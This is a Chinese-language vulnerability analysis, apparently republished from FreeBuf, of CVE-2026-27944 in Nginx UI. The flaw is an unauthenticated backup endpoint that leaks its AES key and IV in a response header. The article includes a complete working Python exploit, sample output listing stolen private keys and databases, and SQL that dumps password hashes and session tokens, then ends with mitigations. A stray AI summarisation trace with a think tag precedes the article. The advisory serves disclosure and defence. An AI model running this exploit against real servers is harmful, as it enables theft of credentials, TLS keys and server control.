CVE-2026-27944 Nginx UI信息泄露漏洞深度分析
嗯,用户让我总结一下这篇文章的内容,控制在一百个字以内,而且不需要用特定的开头。我先看看文章讲的是什么。 文章主要讲的是Nginx UI的一个严重漏洞,CVE-2026-27944,CVSS评分9.8,属于Critical级别。这个漏洞允许攻击者无需认证就能下载系统加密备份,并且解密所需的密钥和IV直接暴露在HTTP响应头中。攻击者可以轻松获取敏感数据,包括用户凭证、SSL私钥和Nginx配置。 接下来,文章分析了漏洞的原理,包括接口认证缺失和加密密钥泄露。还提到了代码层面的问题,比如路由层的安全缺陷和IP白名单的默认设置。POC部分展示了如何利用这个漏洞进行攻击,并详细说明了危害和修复建议。 所以,我需要把这些关键点浓缩到100字以内。重点是漏洞的严重性、攻击方式、影响以及修复建议。 总结一下:Nginx UI存在严重漏洞(CVE-2026-27944),CVSS 9.8分,攻击者无需认证即可下载加密备份,并通过响应头获取解密密钥,导致敏感数据泄露。修复建议包括升级到最新版本、限制访问权限等。 </think> Nginx UI 存在严重漏洞(CVE-2026-27944),CVSS 评分 9.8 分。攻击者可无需认证下载系统加密备份,并通过 HTTP 响应头获取 AES-256 密钥和 IV 解密敏感数据。修复建议包括升级至最新版本 2.3.3 或采取临时缓解措施限制访问权限。 2026-3-12 02:36:29 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

一、漏洞背景

Nginx UI 是一款由开发者 0xjacky、hintay 和 akino 共同开发的 Nginx Web 管理界面,在 GitHub 上获得超过 10.8k 星标,支持通过 Docker、系统服务或二进制文件部署,旨在简化 Nginx 配置管理,提供可视化配置 Nginx、证书管理、日志查看、集群管理等功能。

2026 年 3 月 5 日,GitHub Security Advisory 发布了一则严重安全警告(GHSA-g9w5-qffc-6762),披露了 Nginx UI 管理面板中的一个灾难性漏洞 ——CVE-2026-27944。该漏洞 CVSS 评分高达 9.8,属于 Critical 级别,攻击者无需任何认证即可下载完整系统加密备份,且解密所需的 AES-256 密钥和 IV 直接在 HTTP 响应头中明文泄露,导致所有敏感数据(包括用户凭证、SSL 私钥、Nginx 配置)可被轻松解密窃取。

二、漏洞原理分析

该漏洞的核心是双重逻辑失误,相当于 “把保险箱密码贴在箱子上”,具体分为两个层面:

1. 接口认证缺失

在 Nginx UI 的api/backup/router.go文件中,第 8-11 行定义了备份相关路由:

func initRouter(r *gin.RouterGroup) {
    r.GET("/backup", createBackup) // 这里没有任何认证中间件
    r.POST("/restore", middleware.EncryptedForm(), restoreBackup)
}

可以看到,同一个模块下的/api/backup/restore(备份恢复)接口正确地使用了middleware.EncryptedForm()中间件,而/api/backup(备份下载)接口却完全开放给未经认证的请求,这种不一致的安全设计是第一个致命错误。

2. 加密密钥直接泄露

即使允许下载备份,如果加密足够强大,攻击者拿到的也只是一堆乱码。但 Nginx UI 的第二个错误让加密形同虚设。在api/backup/backup.gocreateBackup函数中(第 22-33 行),代码逻辑如下:

func createBackup(c *gin.Context) {
    result, err := backup.Backup()
    if err != nil {
        cosy.ErrHandler(c, err)
        return
    }
    // 拼接密钥和初始化向量
    securityToken := result.AesKey + ":" + result.AesIV
    // 将密钥通过HTTP头发给客户端
    c.Header("X-Backup-Security", securityToken)
    http.ServeContent(c.Writer, c.Request, filename, modTime, reader)
}

这里的result.AesKeyresult.AesIV是 Base64 编码的 AES-256 密钥(32 字节)和初始化向量 IV(16 字节),它们被简单地用冒号拼接,然后通过X-Backup-Security响应头发送给下载备份的客户端。攻击链条因此变得异常简单:访问接口→下载加密备份→从响应头拿到密钥→用密钥解密备份,整个过程不需要任何猜测、破解或复杂技巧。

三、代码深度分析

1. 路由层的安全缺陷

router/routers.go里,/api根组只绑定了middleware.IpWhitelist(),然后直接初始化了一批 “无需认证” 的路由模块,其中就包含backup.InitRouter(root)

root := r.Group("/api", middleware.IpWhitelist()){
    public.InitRouter(root)
    crypto.InitPublicRouter(root)
    user.InitAuthRouter(root)
    license.InitRouter(root)
    system.InitPublicRouter(root)
    system.InitSelfCheckRouter(root)
    backup.InitRouter(root) // 这个被放进了匿名组
    
    // 需要认证的私有组
    local := root.Group("/", middleware.AuthRequired()){
        llm.InitLocalRouter(local)
    }
    
    // 需要认证且非WebSocket请求
    g := root.Group("/", middleware.AuthRequired(), middleware.Proxy()){
        // 大量私有路由
        backup.InitAutoBackupRouter(g) // 这个被放进了认证组
    }
}

同样是备份模块,InitAutoBackupRouter(g)被放进了需要认证的私有组,而InitRouter(root)却被放进了匿名组,这意味着GET /api/backupPOST /api/restore都天然不受AuthRequired()保护。

2. IP 白名单的默认缺陷

IpWhitelist()的关键逻辑如下:

func IpWhitelist() gin.HandlerFunc {
    return func(c *gin.Context) {
        clientIP := c.ClientIP()
        if len(settings.AuthSettings.IpWhitelist) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
            c.Next()
            return
        }
        if !lo.Contains(settings.AuthSettings.IpWhitelist, clientIP) {
            c.AbortWithStatus(http.StatusForbidden)
            return
        }
        c.Next()
    }
}

settings.AuthSettings.IpWhitelist为空时(这在 “默认安装、未配置额外安全项” 的场景里非常常见),中间件会直接c.Next(),等价于不做任何限制。结合 Nginx UI 在首次启动自动生成app.ini时,其 IP 白名单必然为空的特性,导致所有新安装的环境在默认状态下即对公网完全暴露高危接口。

3. 加密逻辑的无效性

internal/backup/backup.go中,备份会生成随机 Key、IV,并以 Base64 形式返回给上层:

key, err := GenerateAesKey()
// ...
iv, err := GenerateIV()
// ...
// 编码加密密钥为Base64以便安全传输/存储
keyBase64 := base64.StdEncoding.EncodeToString(key)
ivBase64 := base64.StdEncoding.EncodeToString(iv)
// 组装最终备份结果
result := Result{
    BackupContent: buffer.Bytes(),
    BackupName:    backupName,
    AesKey:        keyBase64,
    AesIV:         ivBase64,
}

在逻辑层看来,把 Key/IV 放进result也许是为了展示,让用户下载后能恢复。但控制器层的做法是把它们塞进响应头,导致任何能触发下载的人都能同步获得解密材料,加密在此处仅起到了 “混淆” 作用,而未提供任何实质性的机密性保护。

四、POC 分析与复现

1. 完整 POC 脚本

以下 Python POC 脚本完整演示了利用过程:

#!/usr/bin/env python3
import argparse
import base64
import urllib.request
import zipfile
from io import BytesIO
from Crypto.Cipher import AES

def download_and_decrypt(target_url, output_dir):
    # 1. 发起无认证请求
    req = urllib.request.Request(f"{target_url.rstrip('/')}/api/backup", method="GET")
    resp = urllib.request.urlopen(req)
    
    # 2. 从头部提取密钥
    security_header = resp.headers.get('X-Backup-Security', '')
    if ':' not in security_header:
        print("[-] 未找到密钥头")
        return
    key_b64, iv_b64 = security_header.split(':')
    encrypted_backup = resp.read()
    
    print(f"[*] 从响应头获取密钥: {key_b64}")
    print(f"[*] 初始化向量IV: {iv_b64}")
    
    # 3. 准备解密
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)
    
    if len(key) != 32:
        print(f"[-] 密钥长度异常: {len(key)}字节")
        return
    if len(iv) != 16:
        print(f"[-] IV长度异常: {len(iv)}字节")
        return
    
    print(f"[*] AES-256密钥长度: {len(key)}字节")
    print(f"[*] IV长度: {len(iv)}字节")
    
    # 4. 解密函数
    def decrypt_file(encrypted_data, key, iv):
        cipher = AES.new(key, AES.MODE_CBC, iv)
        # 移除可能的PKCS#7填充
        decrypted = cipher.decrypt(encrypted_data)
        padding_len = decrypted[-1]
        if padding_len <= 16:
            decrypted = decrypted[:-padding_len]
        return decrypted
    
    # 5. 解密备份包
    print("[*] 开始解密备份包...")
    with zipfile.ZipFile(BytesIO(encrypted_backup), 'r') as outer_zip:
        for name in outer_zip.namelist():
            print(f"[*] 处理文件: {name}")
            encrypted_content = outer_zip.read(name)
            decrypted_content = decrypt_file(encrypted_content, key, iv)
            
            if name == 'hash_info.txt':
                print(f"[+] hash_info.txt内容: {decrypted_content.decode()}")
            elif name.endswith('.zip'):
                # 这是另一个zip,需要进一步提取
                inner_zip = zipfile.ZipFile(BytesIO(decrypted_content), 'r')
                for inner_name in inner_zip.namelist():
                    print(f"[-] 提取: {inner_name}")
                    inner_zip.extract(inner_name, output_dir)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2026-27944 Nginx UI 信息泄露漏洞POC')
    parser.add_argument('--target', required=True, help='目标URL,如http://192.168.1.100:9000')
    parser.add_argument('--output', default='./stolen_data', help='输出目录')
    args = parser.parse_args()
    
    download_and_decrypt(args.target, args.output)
    print(f"[+] 解密完成!文件保存在 {args.output} 目录")

2. 执行效果示例

执行 POC 脚本后,会输出以下内容:

$ python poc.py --target http://192.168.1.100:9000 --output ./stolen_data
[*] 从响应头获取密钥: gnfd8bhrjzrxs7ylrovvk+fyv9tjs50cfun/rwuyjga=
[*] 初始化向量IV: +rlzrxk3kbwfrk3qmpb3jw==
[*] AES-256密钥长度: 32字节
[*] IV长度: 16字节
[*] 开始解密备份包...
[*] 处理文件: hash_info.txt
[+] hash_info.txt内容: sha256(checksum)=a1b2c3d4e5f6...
[*] 处理文件: nginx-ui.zip
[-] 提取: database.db
[-] 提取: app.ini
[-] 提取: fullchain.pem
[-] 提取: privkey.pem
[*] 处理文件: nginx.zip
[-] 提取: nginx.conf
[-] 提取: sites-enabled/default
[-] 提取: ssl/example.com.key
[-] 提取: ssl/example.com.crt
[+] 解密完成!文件保存在 ./stolen_data/ 目录

3. 数据提取与横向移动

获取备份并解密后,攻击者首先检查database.db(SQLite 数据库),可获取用户凭证、会话令牌等信息:

import sqlite3

conn = sqlite3.connect('database.db')
cursor = conn.cursor()

# 查看用户表
cursor.execute("SELECT * FROM users")
users = cursor.fetchall()
for user in users:
    print(f"用户: {user[1]}, 邮箱: {user[2]}, 密码哈希: {user[3]}")

# 查看会话令牌
cursor.execute("SELECT * FROM sessions")
sessions = cursor.fetchall()
for session in sessions:
    print(f"会话令牌: {session[1]}, 用户ID: {session[2]}")

通过会话令牌,攻击者可以在浏览器中设置相应的 Cookie 直接登录系统,无需破解密码哈希。SSL 私钥(server.key文件)让攻击者可以解密之前记录的 TLS 流量、伪造相同的 SSL 证书进行中间人攻击,Nginx 配置文件中可能包含其他内部服务的地址、API 密钥、数据库连接信息等,为攻击者提供了横向移动的跳板。

五、漏洞危害分析

攻击者一旦成功利用此漏洞,获得的不仅是配置文件,而是整个系统的完整快照,具体危害包括:

  1. 敏感数据泄露:可获取用户凭据、会话令牌、SSL 私钥、Nginx 配置等核心敏感数据。

  2. 服务器完全控制:通过窃取的用户凭据或会话令牌,可直接登录 Nginx UI 管理界面,完全控制服务器。

  3. 中间人攻击:利用窃取的 SSL 私钥,可解密过往的 TLS 通信(如果进行了流量记录),或伪造服务进行中间人攻击。

  4. 横向移动:通过 Nginx 配置文件中的内部服务信息,可进一步渗透企业内网。

六、修复建议

1. 官方修复方案

强烈建议所有用户立即升级 Nginx UI 至最新版本 2.3.3,官方已在该版本中修复了该漏洞,下载地址:https://github.com/0xJacky/nginx-ui/releases/

2. 临时缓解措施

如果暂时无法升级,可采取以下临时缓解措施:

  • 限制访问权限:通过防火墙或 Nginx 配置限制对/api/backup端点的访问,仅允许可信 IP 访问。

  • 修改端点路径:修改 Nginx UI 配置,更改/api/backup端点的路径。

  • 关闭公网访问:如果不需要公网访问,可将 Nginx UI 服务仅暴露在内部网络。

3. 长期安全改进

开发者应该从这次漏洞中吸取教训:

  • 认证一致性检查:所有管理员接口必须通过统一的中间件强制认证,代码审查时,对任何未受保护的 GET/POST 请求都要标记为高危。

  • 密钥生命周期管理:加密密钥绝不能出现在 HTTP 响应中,可使用预共享密钥(Pre-shared Key)加密,或者使用接收者的公钥加密 AES 密钥(非对称加密),或者要求用户设置备份密码(Password-based Encryption)。

  • 最小权限原则:备份功能是否需要对所有认证用户开放?或许只有超级管理员才需要访问。

  • 安全默认设置:新版本应该默认禁用备份功能,或者强制要求配置备份密码。

七、参考链接

GitHub Security Advisory: https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762

文章来源: https://www.freebuf.com/articles/vuls/473270.html
如有侵权请联系:admin#unsafe.sh